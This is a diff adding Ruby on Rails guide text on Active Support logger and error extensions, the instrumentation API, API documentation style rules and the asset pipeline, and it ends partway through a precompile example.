+logger.silence(Logger::INFO) do
+ logger.debug("In space, no one can hear you scream.")
+ logger.info("Scream all you want, small mailman!")
+end
+```
+
+### `datetime_format=`
+
+Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a `datetime_format` method then this is ignored.
+
+```ruby
+class Logger::FormatWithTime < Logger::Formatter
+ cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }
+
+ def self.call(severity, timestamp, progname, msg)
+ "#{timestamp.strftime(datetime_format)} -- #{String === msg ? msg : msg.inspect}\n"
+ end
+end
+
+logger = Logger.new("log/development.log")
+logger.formatter = Logger::FormatWithTime
+logger.info("<- is the current time")
+```
+
+NOTE: Defined in `active_support/core_ext/logger.rb`.
+
+Extensions to `NameError`
+-------------------------
+
+Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument.
+
+The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
+
+TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
+
+For example, when an action of `PostsController` is called Rails tries optimistically to use `PostsHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `posts_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
+
+```ruby
+def default_helper_module!
+ module_name = name.sub(/Controller$/, '')
+ module_path = module_name.underscore
+ helper module_path
+rescue MissingSourceFile => e
+ raise e unless e.is_missing? "#{module_path}_helper"
+rescue NameError => e
+ raise e unless e.missing_name? "#{module_name}Helper"
+end
+```
+
+NOTE: Defined in `active_support/core_ext/name_error.rb`.
+
+Extensions to `LoadError`
+-------------------------
+
+Active Support adds `is_missing?` to `LoadError`, and also assigns that class to the constant `MissingSourceFile` for backwards compatibility.
+
+Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
+
+For example, when an action of `PostsController` is called Rails tries to load `posts_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:
+
+```ruby
+def default_helper_module!
+ module_name = name.sub(/Controller$/, '')
+ module_path = module_name.underscore
+ helper module_path
+rescue MissingSourceFile => e
+ raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+ raise e unless e.missing_name? "#{module_name}Helper"
+end
+```
+
+NOTE: Defined in `active_support/core_ext/load_error.rb`.

+Active Support Instrumentation
+==============================
+
+Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
+
+In this guide, you will learn how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.
+
+After reading this guide, you will know:
+
+* What instrumentation can provide.
+* The hooks inside the Rails framework for instrumentation.
+* Adding a subscriber to a hook.
+* Building a custom instrumentation implementation.
+
+--------------------------------------------------------------------------------
+
+Introduction to instrumentation
+-------------------------------
+
+The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
+
+For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
+
+You are even able to create your own events inside your application which you can later subscribe to.
+
+Rails framework hooks
+---------------------
+
+Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.

+
+Subscribing to an event
+-----------------------
+
+Subscribing to an event is easy. Use `ActiveSupport::Notifications.subscribe` with a block to
+listen to any notification.
+
+The block receives the following arguments:
+
+* The name of the event
+* Time when it started
+* Time when it finished
+* An unique ID for this event
+* The payload (described in previous sections)
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
+ # your own custom stuff
+ Rails.logger.info "#{name} Received!"
+end
+```
+
+Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event`
+from block arguments like this:
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+ event = ActiveSupport::Notifications::Event.new *args
+
+ event.name # => "process_action.action_controller"
+ event.duration # => 10 (in milliseconds)
+ event.payload # => {:extra=>information}
+
+ Rails.logger.info "#{event} Received!"
+end
+```
+
+Most times you only care about the data itself. Here is a shortcut to just get the data.
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+ data = args.extract_options!
+ data # { extra: :information }
+```
+
+You may also subscribe to events matching a regular expression. This enables you to subscribe to
+multiple events at once. Here's you could subscribe to everything from `ActionController`.
+
+```ruby
+ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
+ # inspect all ActionController events
+end
+```
+
+Creating custom events
+----------------------
+
+Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of
+all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block.
+The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times
+as well as the unique ID. All data passed into the `instrument` call will make it into the payload.
+
+Here's an example:
+
+```ruby
+ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
+ # do your custom stuff here
+end
+```
+
+Now you can listen to this event with:
+
+```ruby
+ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
+ puts data.inspect # {:this=>:data}
+end
+```
+
+You should follow Rails conventions when defining your own events. The format is: `event.library`.
+If you application is sending Tweets, you should create an event named `tweet.twitter`.

+API Documentation Guidelines
+============================
+
+This guide documents the Ruby on Rails API documentation guidelines.
+
+After reading this guide, you will know:
+
+* How to write effective prose for documentation purposes.
+* Style guidelines for documenting different kinds of Ruby code.
+
+--------------------------------------------------------------------------------
+
+RDoc
+----
+
+The Rails API documentation is generated with RDoc. Please consult the documentation for help with the [markup](http://rdoc.rubyforge.org/RDoc/Markup.html), and also take into account these [additional directives](http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html).
+
+Wording
+-------
+
+Write simple, declarative sentences. Brevity is a plus: get to the point.
+
+Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".
+
+Start comments in upper case. Follow regular punctuation rules:
+
+```ruby
+# Declares an attribute reader backed by an internally-named
+# instance variable.
+def attr_internal_reader(*attrs)
+ ...
+end
+```
+
+Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.
+
+Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?
+
+The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
+
+Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
+
+Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
+
+English
+-------
+
+Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
+
+Example Code
+------------
+
+Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
+
+Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions).
+
+Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:
+
+```ruby
+# Converts a collection of elements into a formatted string by
+# calling +to_s+ on all elements and joining them.
+#
+# Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
+```
+
+On the other hand, big chunks of structured documentation may have a separate "Examples" section:
+
+```ruby
+# ==== Examples
+#
+# Person.exists?(5)
+# Person.exists?('5')
+# Person.exists?(name: "David")
+# Person.exists?(['name LIKE ?', "%#{query}%"])
+```
+
+The results of expressions follow them and are introduced by "# => ", vertically aligned:
+
+```ruby
+# For checking if a fixnum is even or odd.
+#
+# 1.even? # => false
+# 1.odd? # => true
+# 2.even? # => true
+# 2.odd? # => false
+```
+
+If a line is too long, the comment may be placed on the next line:
+
+```ruby
+# label(:post, :title)
+# # => <label for="post_title">Title</label>
+#
+# label(:post, :title, "A short title")
+# # => <label for="post_title">A short title</label>
+#
+# label(:post, :title, "A short title", class: "title_label")
+# # => <label for="post_title" class="title_label">A short title</label>
+```
+
+Avoid using any printing methods like `puts` or `p` for that purpose.
+
+On the other hand, regular comments do not use an arrow:
+
+```ruby
+# polymorphic_url(record) # same as comment_url(record)
+```
+
+Filenames
+---------
+
+As a rule of thumb, use filenames relative to the application root:
+
+```
+config/routes.rb # YES
+routes.rb # NO
+RAILS_ROOT/config/routes.rb # NO
+```
+
+Fonts
+-----
+
+### Fixed-width Font
+
+Use fixed-width fonts for:
+
+* Constants, in particular class and module names.
+* Method names.
+* Literals like `nil`, `false`, `true`, `self`.
+* Symbols.
+* Method parameters.
+* File names.
+
+```ruby
+class Array
+ # Calls +to_param+ on all its elements and joins the result with
+ # slashes. This is used by +url_for+ in Action Pack.
+ def to_param
+ collect { |e| e.to_param }.join '/'
+ end
+end
+```
+
+WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc.
+
+### Regular Font
+
+When "true" and "false" are English words rather than Ruby keywords use a regular font:
+
+```ruby
+# Runs all the validations within the specified context.
+# Returns true if no errors are found, false otherwise.
+#
+# If the argument is false (default is +nil+), the context is
+# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
+# and to <tt>:update</tt> if it is not.
+#
+# Validations with no <tt>:on</tt> option will run no
+# matter the context. Validations with # some <tt>:on</tt>
+# option will only run in the specified context.
+def valid?(context = nil)
+ ...
+end
+```
+
+Description Lists
+-----------------
+
+In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
+
+```ruby
+# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+```
+
+The description starts in upper case and ends with a full stop—it's standard English.
+
+Dynamically Generated Methods
+-----------------------------
+
+Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:
+
+```ruby
+for severity in Severity.constants
+ class_eval <<-EOT, __FILE__, __LINE__
+ def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block)
+ add(#{severity}, message, progname, &block) # add(DEBUG, message, progname, &block)
+ end # end
+ #
+ def #{severity.downcase}? # def debug?
+ #{severity} >= @level # DEBUG >= @level
+ end # end
+ EOT
+end
+```
+
+If the resulting lines are too wide, say 200 columns or more, put the comment above the call:
+
+```ruby
+# def self.find_by_login_and_activated(*args)
+# options = args.extract_options!
+# ...
+# end
+self.class_eval %{
+ def self.#{method_id}(*args)
+ options = args.extract_options!
+ ...
+ end
+}
+```

+The Asset Pipeline
+==================
+
+This guide covers the asset pipeline.
+
+After reading this guide, you will know:
+
+* How to understand what the asset pipeline is and what it does.
+* How to properly organize your application assets.
+* How to understand the benefits of the asset pipeline.
+* How to add a pre-processor to the pipeline.
+* How to package assets with a gem.
+
+--------------------------------------------------------------------------------
+
+What is the Asset Pipeline?
+---------------------------
+
+The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.
+
+Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.
+
+The asset pipeline is enabled by default. It can be disabled in `config/application.rb` by putting this line inside the application class definition:
+
+```ruby
+config.assets.enabled = false
+```
+
+You can also disable the asset pipeline while creating a new application by passing the `--skip-sprockets` option.
+
+```bash
+rails new appname --skip-sprockets
+```
+
+You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline.
+
+
+### Main Features
+
+The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser makes to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application.
+
+Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing `cache: true` at the end of the `javascript_include_tag` and `stylesheet_link_tag` methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
+
+Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master `.js` file and all CSS files into one master `.css` file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents.
+
+The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.
+
+The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default.
+
+### What is Fingerprinting and Why Should I Care?
+
+Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.
+
+When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_.
+
+The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file `global.css` could be renamed with an MD5 digest of its contents:
+
+```
+global-908e25f4bf641868d8683022a5b62f54.css
+```
+
+This is the strategy adopted by the Rails asset pipeline.
+
+Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this:
+
+```
+/stylesheets/global.css?1309495796
+```
+
+The query string strategy has several disadvantages:
+
+1. **Not all caches will reliably cache content where the filename only differs by query parameters**<br />
+ [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
+
+2. **The file name can change between nodes in multi-server environments.**<br />
+ The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.
+3. **Too much cache invalidation**<br />
+ When static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
+
+Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content.
+
+Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the `config.assets.digest` option.

+
+
+How to Use the Asset Pipeline
+-----------------------------
+
+In previous versions of Rails, all assets were located in subdirectories of `public` such as `images`, `javascripts` and `stylesheets`. With the asset pipeline, the preferred location for these assets is now the `app/assets` directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
+
+Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server. You should use `app/assets` for files that must undergo some pre-processing before they are served.
+
+In production, Rails precompiles these files to `public/assets` by default. The precompiled copies are then served as static assets by the web server. The files in `app/assets` are never served directly in production.
+
+### Controller Specific Assets
+
+When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) for that controller.
+
+For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. By default these files will be ready to use by your application immediately using the `require_tree` directive. See [Manifest Files and Directives](#manifest-files-and-directives) for more details on require_tree.
+
+You can also opt to include controller specific stylesheets and JavaScript files only in their respective controllers using the following: `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`. Ensure that you are not using the `require_tree` directive though, as this will result in your assets being included more than once.
+
+WARNING: When using asset precompilation (the production default), you will need to ensure that your controller assets will be precompiled when loading them on a per page basis. By default .coffee and .scss files will not be precompiled on their own. This will result in false positives during development as these files will work just fine since assets will be compiled on the fly. When running in production however, you will see 500 errors since live compilation is turned off by default. [...]
+
+NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes.
+
+You can also disable the generation of asset files when generating a controller by adding the following to your `config/application.rb` configuration:
+
+```ruby
+config.generators do |g|
+ g.assets false
+end
+```
+
+### Asset Organization
+
+Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
+
+* `app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
+
+* `lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
+
+* `vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.
+
+#### Search Paths
+
+When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it.
+
+The default locations are: `app/assets/images` and the subdirectories `javascripts` and `stylesheets` in all three asset locations, but these subdirectories are not special. Any path under `assets/*` will be searched.
+
+For example, these files:
+
+```
+app/assets/javascripts/home.js
+lib/assets/javascripts/moovinator.js
+vendor/assets/javascripts/slider.js
+vendor/assets/somepackage/phonebox.js
+```
+
+would be referenced in a manifest like this:
+
+```js
+//= require home
+//= require moovinator
+//= require slider
+//= require phonebox
+```
+
+Assets inside subdirectories can also be accessed.
+
+```
+app/assets/javascripts/sub/something.js
+```
+
+is referenced as:
+
+```js
+//= require sub/something
+```
+
+You can view the search path by inspecting `Rails.application.config.assets.paths` in the Rails console.
+
+Besides the standard `assets/*` paths, additional (fully qualified) paths can be added to the pipeline in `config/application.rb`. For example:
+
+```ruby
+config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
+```
+
+Paths are traversed in the order that they occur in the search path. By default, this means the files in `app/assets` take precedence, and will mask corresponding paths in `lib` and `vendor`.
+
+It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment.
+
+#### Using Index Files
+
+Sprockets uses files named `index` (with the relevant extensions) for a special purpose.
+
+For example, if you have a jQuery library with many modules, which is stored in `lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple `require_tree` directive.
+
+The library as a whole can be accessed in the site's application manifest like so:
+
+```js
+//= require library_name
+```
+
+This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.
+
+### Coding Links to Assets
+
+Sprockets does not add any new methods to access your assets - you still use the familiar `javascript_include_tag` and `stylesheet_link_tag`.
+
+```erb
+<%= stylesheet_link_tag "application" %>
+<%= javascript_include_tag "application" %>
+```
+
+In regular views you can access images in the `assets/images` directory like this:
+
+```erb
+<%= image_tag "rails.png" %>
+```
+
+Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server.
+
+Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the [In Production](#in-production) section later on in this guide.
+
+Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines.
+
+Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:
+
+```erb
+<%= image_tag "icons/rails.png" %>
+```
+
+WARNING: If you're precompiling your assets (see [In Production](#in-production) below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data.
+
+#### CSS and ERB
+
+The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules:
+
+```css
+.class { background-image: url(<%= asset_path 'image.png' %>) }
+```
+
+This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced.
+
+If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) — a method of embedding the image data directly into the CSS file — you can use the `asset_data_uri` helper.
+
+```css
+#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
+```
+
+This inserts a correctly-formatted data URI into the CSS source.
+
+Note that the closing tag cannot be of the style `-%>`.
+
+#### CSS and Sass
+
+When using the asset pipeline, paths to assets must be re-written and `sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
+
+* `image-url("rails.png")` becomes `url(/assets/rails.png)`
+* `image-path("rails.png")` becomes `"/assets/rails.png"`.
+
+The more generic form can also be used but the asset path and class must both be specified:
+
+* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)`
+* `asset-path("rails.png", image)` becomes `"/assets/rails.png"`
+
+#### JavaScript/CoffeeScript and ERB
+
+If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code:
+
+```js
+$('#logo').attr({
+ src: "<%= asset_path('logo.png') %>"
+});
+```
+
+This writes the path to the particular asset being referenced.
+
+Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`):
+
+```js
+$('#logo').attr src: "<%= asset_path('logo.png') %>"
+```
+
+### Manifest Files and Directives
+
+Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ — instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if `Rails.application.config.assets.compress` is true). By serving one file rather than many, the load time o [...]
+
+
+For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines:
+
+```js
+// ...
+//= require jquery
+//= require jquery_ujs
+//= require_tree .
+```
+
+In JavaScript files, the directives begin with `//=`. In this case, the file is using the `require` and the `require_tree` directives. The `require` directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a `.js` file when done from within a `.js` file.
+
+The `require_tree` directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the `require_directory` directive which includes all JavaScript files only in the directory specified, without recursion.
+
+Directives are processed top to bottom, but the order in which files are included by `require_tree` is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of `require` directives prevents files from being included twice in the output.
+
+Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines:
+
+```js
+/* ...
+*= require_self
+*= require_tree .
+*/
+```
+
+The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The `require_tree` directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.
+
+In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected.
+
+NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
+
+You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application.
+
+The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:
+
+```js
+/* ...
+*= require reset
+*= require layout
+*= require chrome
+*/
+```
+
+
+### Preprocessing
+
+The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an `app/assets/javascripts/projects.js.coffee` and an `app/assets/stylesheets/projects.css.scss` file.
+
+When these files are requested, they are processed by the processors provided by the `coffee-script` and `sass` gems and then sent back to the browser as JavaScript and CSS respectively.
+
+Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file — `app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then CoffeeScript, and served [...]
+
+Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
+
+In Development
+--------------
+
+In development mode, assets are served as separate files in the order they are specified in the manifest file.
+
+This manifest `app/assets/javascripts/application.js`:
+
+```js
+//= require core
+//= require projects
+//= require tickets
+```
+
+would generate this HTML:
+
+```html
+<script src="/assets/core.js?body=1"></script>
+<script src="/assets/projects.js?body=1"></script>
+<script src="/assets/tickets.js?body=1"></script>
+```
+
+The `body` param is required by Sprockets.
+
+### Turning Debugging Off
+
+You can turn off debug mode by updating `config/environments/development.rb` to include:
+
+```ruby
+config.assets.debug = false
+```
+
+When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
+
+```html
+<script src="/assets/application.js"></script>
+```
+
+Assets are compiled and cached on the first request after the server is started. Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request overhead on subsequent requests — on these the browser gets a 304 (Not Modified) response.
+
+If any of the files in the manifest have changed between requests, the server responds with a new compiled file.
+
+Debug mode can also be enabled in the Rails helper methods:
+
+```erb
+<%= stylesheet_link_tag "application", debug: true %>
+<%= javascript_include_tag "application", debug: true %>
+```
+
+The `:debug` option is redundant if debug mode is on.
+
+You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
+
+In Production
+-------------
+
+In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server.
+
+During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name.
+
+For example this:
+
+```erb
+<%= javascript_include_tag "application" %>
+<%= stylesheet_link_tag "application" %>
+```
+
+generates something like this:
+
+```html
+<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
+<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" />
+```
+
+Note: with the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from the `javascript_include_tag` and `stylesheet_link_tag`.
+
+
+The fingerprinting behavior is controlled by the setting of `config.assets.digest` setting in Rails (which defaults to `true` for production and `false` for everything else).
+
+NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.
+
+### Precompiling Assets
+
+Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.
+
+Compiled assets are written to the location specified in `config.assets.prefix`. By default, this is the `public/assets` directory.
+
+You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally.
+
+The rake task is:
+
+```bash
+$ bundle exec rake assets:precompile
+```
+
+For faster asset precompiles, you can partially load your application by setting
+`config.assets.initialize_on_precompile` to false in `config/application.rb`, though in that case templates
+cannot see application objects or methods. **Heroku requires this to be false.**
+
+WARNING: If you set `config.assets.initialize_on_precompile` to false, be sure to
+test `rake assets:precompile` locally before deploying. It may expose bugs where
+your assets reference application objects or methods, since those are still
+in scope in development mode regardless of the value of this flag. Changing this flag also affects
+engines. Engines can define assets for precompilation as well. Since the complete environment is not loaded,
+engines (or other gems) will not be loaded, which can cause missing assets.
+
+Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`:
+
+```ruby
+load 'deploy/assets'
+```
+
+This links the folder specified in `config.assets.prefix` to `shared/assets`. If you already use this shared folder you'll need to write your own deployment task.
+
+It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page.
+
+NOTE. If you are precompiling your assets locally, you can use `bundle install --without assets` on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).
+
+The default matcher for compiling files includes `application.js`, `application.css` and all non-JS/CSS files (this will include all image assets automatically):
+
+```ruby
+[ Proc.new { |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ]
+```
+
+NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and `.scss` files are **not** automatically included as they compile to JS/CSS.
+
+If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array:
+
+```ruby
+config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
+```
+
+Or you can opt to precompile all assets with something like this:
+
+```ruby
+# config/environments/production.rb
+config.assets.precompile << Proc.new do |path|
+ if path =~ /\.(css|js)\z/
+ full_path = Rails.application.assets.resolve(path).to_path
+ app_assets_path = Rails.root.join('app', 'assets').to_path
+ if full_path.starts_with? app_assets_path
+ puts "including asset: " + full_path
+ true
+ else
+ puts "excluding asset: " + full_path
+ false
+ end
+ else
